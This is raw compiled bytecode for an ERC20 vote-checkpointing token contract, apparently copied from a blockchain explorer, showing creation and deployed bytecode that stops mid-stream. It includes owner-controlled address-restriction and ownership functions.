5b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000949601f8362000900565b9150620009568262000911565b602082019050919050565b600060208201905081810360008301526200097c816200093a565b9050919050565b6000620009908262000499565b91506200099d8362000499565b9250828201905080821115620009b857620009b7620006d4565b5b92915050565b620009c98162000499565b82525050565b6000602082019050620009e66000830184620009be565b92915050565b612e3480620009fc6000396000f3fe608060405234801561001057600080fd5b50600436106101c45760003560e01c8063782d6fe1116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e14610555578063e7a324dc14610585578063f1127ed8146105a3578063f2fde38b146105d4576101c4565b8063a9059cbb146104c5578063af7252e2146104f5578063b4b5ea5714610525576101c4565b80639095db99116100d35780639095db991461045157806395d89b411461045b578063a457c2d714610479578063a67b8fcd146104a9576101c4565b8063782d6fe1146103d35780637ecebe00146104035780638da5cb5b14610433576101c4565b806339509351116101665780635e1bff7a116101405780635e1bff7a1461034d5780636fcfff451461036957806370a0823114610399578063715018a6146103c9576101c4565b806339509351146102d1578063587cde1e146103015780635c19a95c14610331576101c4565b806318160ddd116101a257806318160ddd1461024757806320606b701461026557806323b872dd14610283578063313ce567146102b3576101c4565b8063024c2ddd146101c957806306fdde03146101f9578063095ea7b314610217575b600080fd5b6101e360048036038101906101de91906120c3565b6105f0565b6040516101f0919061211c565b60405180910390f35b610201610615565b60405161020e91906121c7565b60405180910390f35b610231600480360381019061022c9190612215565b6106a7565b60405161023e9190612270565b60405180910390f35b61024f6106ca565b60405161025c919061211c565b60405180910390f35b61026d6106d4565b60405161027a91906122a4565b60405180910390f35b61029d600480360381019061029891906122bf565b6106f8565b6040516102aa9190612270565b60405180910390f35b6102bb610727565b6040516102c8919061232e565b60405180910390f35b6102eb60048036038101906102e69190612215565b610730565b6040516102f89190612270565b60405180910390f35b61031b60048036038101906103169190612349565b610767565b6040516103289190612385565b60405180910390f35b61034b60048036038101906103469190612349565b6107d0565b005b61036760048036038101906103629190612405565b6107dd565b005b610383600480360381019061037e9190612349565b61088a565b6040516103909190612471565b60405180910390f35b6103b360048036038101906103ae9190612349565b6108ad565b6040516103c0919061211c565b60405180910390f35b6103d16108f6565b005b6103ed60048036038101906103e89190612215565b61090a565b6040516103fa919061211c565b60405180910390f35b61041d60048036038101906104189190612349565b610cdf565b60405161042a919061211c565b60405180910390f35b61043b610cf7565b6040516104489190612385565b60405180910390f35b610459610d20565b005b610463610d54565b60405161047091906121c7565b60405180910390f35b610493600480360381019061048e9190612215565b610de6565b6040516104a09190612270565b60405180910390f35b6104c360048036038101906104be9190612405565b610e5d565b005b6104df60048036038101906104da9190612215565b610f0a565b6040516104ec9190612270565b60405180910390f35b61050f600480360381019061050a9190612349565b610f2d565b60405161051c9190612270565b60405180910390f35b61053f600480360381019061053a9190612349565b610f83565b60405161054c919061211c565b60405180910390f35b61056f600480360381019061056a91906120c3565b611062565b60405161057c919061211c565b60405180910390f35b61058d6110e9565b60405161059a91906122a4565b60405180910390f35b6105bd60048036038101906105b891906124b8565b61110d565b6040516105cb9291906124f8565b60405180910390f35b6105ee60048036038101906105e99190612349565b61114e565b005b6003602052816000526040600020602052806000526040600020600091509150505481565b60606006805461062490612550565b80601f016020809104026020016040519081016040528092919081815260200182805461065090612550565b801561069d5780601f106106725761010080835404028352916020019161069d565b820191906000526020600020905b81548152906001019060200180831161068057829003601f168201915b5050505050905090565b6000806106b26111d1565b90506106bf8185856111d9565b600191505092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000806107036111d1565b90506107108582856113a2565b61071b85858561142e565b60019150509392505050565b60006012905090565b60008061073b6111d1565b905061075c81858561074d8589611062565b61075791906125b0565b6111d9565b600191505092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6107da33826117a4565b50565b6107e5611915565b60005b828290508110156108855760006002600085858581811061080c5761080b6125e4565b5b90506020020160208101906108219190612349565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061087d90612613565b9150506107e8565b505050565b60096020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108fe611915565b6109086000611993565b565b600043821061094e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610945906126cd565b60405180910390fd5b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16036109ba576000915050610cd9565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a0991906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610ab657600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a9091906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610cd9565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b37576000915050610cd9565b600080600183610b4791906126ed565b90505b8163ffffffff168163ffffffff161115610c7357600060028383610b6e91906126ed565b610b789190612754565b82610b8391906126ed565b90506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603610c4257806020015195505050505050610cd9565b86816000015163ffffffff161015610c5c57819350610c6c565b600182610c6991906126ed565b92505b5050610b4a565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d28611915565b600560009054906101000a900460ff1615600560006101000a81548160ff021916908315150217905550565b606060078054610d6390612550565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8f90612550565b8015610ddc5780601f10610db157610100808354040283529160200191610ddc565b820191906000526020600020905b815481529060010190602001808311610dbf57829003601f168201915b5050505050905090565b600080610df16111d1565b90506000610dff8286611062565b905083811015610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b906127f7565b60405180910390fd5b610e5182868684036111d9565b60019250505092915050565b610e65611915565b60005b82829050811015610f0557600160026000858585818110610e8c57610e8b6125e4565b5b9050602002016020810190610ea19190612349565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610efd90612613565b915050610e68565b505050565b600080610f156111d1565b9050610f2281858561142e565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610fed57600061105a565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361103b91906126ed565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600a602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611156611915565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90612889565b60405180910390fd5b6111ce81611993565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611248576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123f9061291b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae906129ad565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611395919061211c565b60405180910390a3505050565b60006113ae8484611062565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611428578181101561141a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141190612a19565b60405180910390fd5b61142784848484036111d9565b5b50505050565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114cf5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561152b5760011515600560009054906101000a900460ff1615151461152a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152190612a5f565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361159a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159190612af1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611609576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160090612b83565b60405180910390fd5b611614838383611a57565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561169b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169290612c15565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161178b919061211c565b60405180910390a361179e848484611a5c565b50505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000611813846108ad565b905082600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461190f828483611a61565b50505050565b61191d6111d1565b73ffffffffffffffffffffffffffffffffffffffff1661193b610cf7565b73ffffffffffffffffffffffffffffffffffffffff1614611991576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198890612c81565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a9d5750600081115b15611cfd57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611bcf576000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611b40576000611bad565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611b8e91906126ed565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611bbd9190612ca1565b9050611bcb86848484611d02565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cfc576000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c6d576000611cda565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184611cbb91906126ed565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060008382611cea91906125b0565b9050611cf885848484611d02565b5050505b5b505050565b6000611d2643604051806060016040528060368152602001612dc960369139612005565b905060008463ffffffff16118015611dc457508063ffffffff16600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611d8e91906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e3e5781600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187611e1891906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060010181905550611fae565b60405180604001604052808263ffffffff16815260200183815250600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff160217905550602082015181600101559050508363ffffffff16600185611efd9190612cd5565b63ffffffff1611611f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3a90612d7f565b60405180910390fd5b600184611f509190612cd5565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611ff6929190612d9f565b60405180910390a25050505050565b600064010000000083108290612051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204891906121c7565b60405180910390fd5b5082905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061209082612065565b9050919050565b6120a081612085565b81146120ab57600080fd5b50565b6000813590506120bd81612097565b92915050565b600080604083850312156120da576120d961205b565b5b60006120e8858286016120ae565b92505060206120f9858286016120ae565b9150509250929050565b6000819050919050565b61211681612103565b82525050565b6000602082019050612131600083018461210d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612171578082015181840152602081019050612156565b60008484015250505050565b6000601f19601f8301169050919050565b600061219982612137565b6121a38185612142565b93506121b3818560208601612153565b6121bc8161217d565b840191505092915050565b600060208201905081810360008301526121e1818461218e565b905092915050565b6121f281612103565b81146121fd57600080fd5b50565b60008135905061220f816121e9565b92915050565b6000806040838503121561222c5761222b61205b565b5b600061223a858286016120ae565b925050602061224b85828601612200565b9150509250929050565b60008115159050919050565b61226a81612255565b82525050565b60006020820190506122856000830184612261565b92915050565b6000819050919050565b61229e8161228b565b82525050565b60006020820190506122b96000830184612295565b92915050565b6000806000606084860312156122d8576122d761205b565b5b60006122e6868287016120ae565b93505060206122f7868287016120ae565b925050604061230886828701612200565b9150509250925092565b600060ff82169050919050565b61232881612312565b82525050565b6000602082019050612343600083018461231f565b92915050565b60006020828403121561235f5761235e61205b565b5b600061236d848285016120ae565b91505092915050565b61237f81612085565b82525050565b600060208201905061239a6000830184612376565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126123c5576123c46123a0565b5b8235905067ffffffffffffffff8111156123e2576123e16123a5565b5b6020830191508360208202830111156123fe576123fd6123aa565b5b9250929050565b6000806020838503121561241c5761241b61205b565b5b600083013567ffffffffffffffff81111561243a57612439612060565b5b612446858286016123af565b92509250509250929050565b600063ffffffff82169050919050565b61246b81612452565b82525050565b60006020820190506124866000830184612462565b92915050565b61249581612452565b81146124a057600080fd5b50565b6000813590506124b28161248c565b92915050565b600080604083850312156124cf576124ce61205b565b5b60006124dd858286016120ae565b92505060206124ee858286016124a3565b9150509250929050565b600060408201905061250d6000830185612462565b61251a602083018461210d565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061256857607f821691505b60208210810361257b5761257a612521565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006125bb82612103565b91506125c683612103565b92508282019050808211156125de576125dd612581565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061261e82612103565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126505761264f612581565b5b600182019050919050565b7f424f4e453a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b60006126b7602783612142565b91506126c28261265b565b604082019050919050565b600060208201905081810360008301526126e6816126aa565b9050919050565b60006126f882612452565b915061270383612452565b9250828203905063ffffffff81111561271f5761271e612581565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061275f82612452565b915061276a83612452565b92508261277a57612779612725565b5b828204905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006127e1602583612142565b91506127ec82612785565b604082019050919050565b60006020820190508181036000830152612810816127d4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612873602683612142565b915061287e82612817565b604082019050919050565b600060208201905081810360008301526128a281612866565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612905602483612142565b9150612910826128a9565b604082019050919050565b60006020820190508181036000830152612934816128f8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612997602283612142565b91506129a28261293b565b604082019050919050565b600060208201905081810360008301526129c68161298a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000612a03601d83612142565b9150612a0e826129cd565b602082019050919050565b60006020820190508181036000830152612a32816129f6565b9050919050565b50565b6000612a49600083612142565b9150612a5482612a39565b600082019050919050565b60006020820190508181036000830152612a7881612a3c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612adb602583612142565b9150612ae682612a7f565b604082019050919050565b60006020820190508181036000830152612b0a81612ace565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b6d602383612142565b9150612b7882612b11565b604082019050919050565b60006020820190508181036000830152612b9c81612b60565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612bff602683612142565b9150612c0a82612ba3565b604082019050919050565b60006020820190508181036000830152612c2e81612bf2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c6b602083612142565b9150612c7682612c35565b602082019050919050565b60006020820190508181036000830152612c9a81612c5e565b9050919050565b6000612cac82612103565b9150612cb783612103565b9250828203905081811115612ccf57612cce612581565b5b92915050565b6000612ce082612452565b9150612ceb83612452565b9250828201905063ffffffff811115612d0757612d06612581565b5b92915050565b7f434f464645453a3a5f7772697465436865636b706f696e743a206e657720636860008201527f65636b706f696e74206578636565647320333220626974730000000000000000602082015250565b6000612d69603883612142565b9150612d7482612d0d565b604082019050919050565b60006020820190508181036000830152612d9881612d5c565b9050919050565b6000604082019050612db4600083018561210d565b612dc1602083018461210d565b939250505056fe434f464645453a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a26469706673582212200ea576c4d0aa111e55fb778b156c577be6555b93af49cf9c7749424e3927d73964736f6c63430008130033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063782d6fe1116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e14610555578063e7a324dc14610585578063f1127ed8146105a3578063f2fde38b146105d4576101c4565b8063a9059cbb146104c5578063af7252e2146104f5578063b4b5ea5714610525576101c4565b80639095db99116100d35780639095db991461045157806395d89b411461045b578063a457c2d714610479578063a67b8fcd146104a9576101c4565b8063782d6fe1146103d35780637ecebe00146104035780638da5cb5b14610433576101c4565b806339509351116101665780635e1bff7a116101405780635e1bff7a1461034d5780636fcfff451461036957806370a0823114610399578063715018a6146103c9576101c4565b806339509351146102d1578063587cde1e146103015780635c19a95c14610331576101c4565b806318160ddd116101a257806318160ddd1461024757806320606b701461026557806323b872dd14610283578063313ce567146102b3576101c4565b8063024c2ddd146101c957806306fdde03146101f9578063095ea7b314610217575b600080fd5b6101e360048036038101906101de91906120c3565b6105f0565b6040516101f0919061211c565b60405180910390f35b610201610615565b60405161020e91906121c7565b60405180910390f35b610231600480360381019061022c9190612215565b6106a7565b60405161023e9190612270565b60405180910390f35b61024f6106ca565b60405161025c919061211c565b60405180910390f35b61026d6106d4565b60405161027a91906122a4565b60405180910390f35b61029d600480360381019061029891906122bf565b6106f8565b6040516102aa9190612270565b60405180910390f35b6102bb610727565b6040516102c8919061232e565b60405180910390f35b6102eb60048036038101906102e69190612215565b610730565b6040516102f89190612270565b60405180910390f35b61031b60048036038101906103169190612349565b610767565b6040516103289190612385565b60405180910390f35b61034b60048036038101906103469190612349565b6107d0565b005b61036760048036038101906103629190612405565b6107dd565b005b610383600480360381019061037e9190612349565b61088a565b6040516103909190612471565b60405180910390f35b6103b360048036038101906103ae9190612349565b6108ad565b6040516103c0919061211c565b60405180910390f35b6103d16108f6565b005b6103ed60048036038101906103e89190612215565b61090a565b6040516103fa919061211c565b60405180910390f35b61041d60048036038101906104189190612349565b610cdf565b60405161042a919061211c565b60405180910390f35b61043b610cf7565b6040516104489190612385565b60405180910390f35b610459610d20565b005b610463610d54565b60405161047091906121c7565b60405180910390f35b610493600480360381019061048e9190612215565b610de6565b6040516104a09190612270565b60405180910390f35b6104c360048036038101906104be9190612405565b610e5d565b005b6104df60048036038101906104da9190612215565b610f0a565b6040516104ec9190612270565b60405180910390f35b61050f600480360381019061050a9190612349565b610f2d565b60405161051c9190612270565b60405180910390f35b61053f600480360381019061053a9190612349565b610f83565b60405161054c919061211c565b60405180910390f35b61056f600480360381019061056a91906120c3565b611062565b60405161057c919061211c565b60405180910390f35b61058d6110e9565b60405161059a91906122a4565b60405180910390f35b6105bd60048036038101906105b891906124b8565b61110d565b6040516105cb9291906124f8565b60405180910390f35b6105ee60048036038101906105e99190612349565b61114e565b005b6003602052816000526040600020602052806000526040600020600091509150505481565b60606006805461062490612550565b80601f016020809104026020016040519081016040528092919081815260200182805461065090612550565b801561069d5780601f106106725761010080835404028352916020019161069d565b820191906000526020600020905b81548152906001019060200180831161068057829003601f168201915b5050505050905090565b6000806106b26111d1565b90506106bf8185856111d9565b600191505092915050565b6000600454905090565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6000806107036111d1565b90506107108582856113a2565b61071b85858561142e565b60019150509392505050565b60006012905090565b60008061073b6111d1565b905061075c81858561074d8589611062565b61075791906125b0565b6111d9565b600191505092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6107da33826117a4565b50565b6107e5611915565b60005b828290508110156108855760006002600085858581811061080c5761080b6125e4565b5b90506020020160208101906108219190612349565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061087d90612613565b9150506107e8565b505050565b60096020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108fe611915565b6109086000611993565b565b600043821061094e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610945906126cd565b60405180910390fd5b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16036109ba576000915050610cd9565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184610a0991906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610ab657600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600183610a9091906126ed565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610cd9565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610b37576000915050610cd9565b600080600183610b4791906126ed565b90505b8163ffffffff168163ffffffff161115610c7357600060028383610b6e91906126ed565b610b789190612754565b82610b8391906126ed565b90506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603610c4257806020015195505050505050610cd9565b86816000015163ffffffff161015610c5c57819350610c6c565b600182610c6991906126ed565b92505b5050610b4a565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600b6020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610d28611915565b600560009054906101000a900460ff1615600560006101000a81548160ff021916908315150217905550565b606060078054610d6390612550565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8f90612550565b8015610ddc5780601f10610db157610100808354040283529160200191610ddc565b820191906000526020600020905b815481529060010190602001808311610dbf57829003601f168201915b5050505050905090565b600080610df16111d1565b90506000610dff8286611062565b905083811015610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b906127f7565b60405180910390fd5b610e5182868684036111d9565b60019250505092915050565b610e65611915565b60005b82829050811015610f0557600160026000858585818110610e8c57610e8b6125e4565b5b9050602002016020810190610ea19190612349565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610efd90612613565b915050610e68565b505050565b600080610f156111d1565b9050610f2281858561142e565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610fed57600061105a565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060018361103b91906126ed565b63ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600a602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060010154905082565b611156611915565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bc90612889565b60405180910390fd5b6111ce81611993565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611248576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123f9061291b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ae906129ad565b60405180910390fd5b80600360008573ffffffff